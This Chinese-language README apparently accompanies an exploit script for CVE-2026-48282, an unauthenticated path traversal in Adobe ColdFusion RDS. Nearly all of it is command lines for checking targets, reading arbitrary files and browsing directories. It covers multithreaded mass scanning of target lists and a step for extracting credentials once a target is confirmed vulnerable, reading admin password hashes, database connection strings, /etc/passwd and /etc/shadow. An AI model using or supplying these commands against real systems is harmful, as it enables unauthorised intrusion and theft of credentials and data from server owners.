CVE-2026-48282 是 Adobe ColdFusion 远程开发服务 (RDS) 中的一个路径遍历漏洞，CVSS 评分为 10.0（严重）。它允许未经身份验证的攻击者通过 /CFIDE/main/ide.cfm 端点读写任意文件，从而导致远程代码执行 (RCE)。
# 克隆仓库
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282
# 安装依赖（仅需要 `requests`）
pip install -r requirements.txt
# 检查漏洞
python cve-2026-48282.py -t https://target.com --check
# 读取文件
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"
# 浏览目录
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"
# 基础批量扫描
python cve-2026-48282.py -l targets.txt --check
# 更多线程 + 保存结果
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt
# 扫描 + 对任何易受攻击的目标自动读取金丝雀文件
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt
一旦确认存在漏洞，提取凭据和配置：
# ColdFusion 管理员密码哈希
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"
# 数据库连接字符串 (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"
# Linux 目标
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow
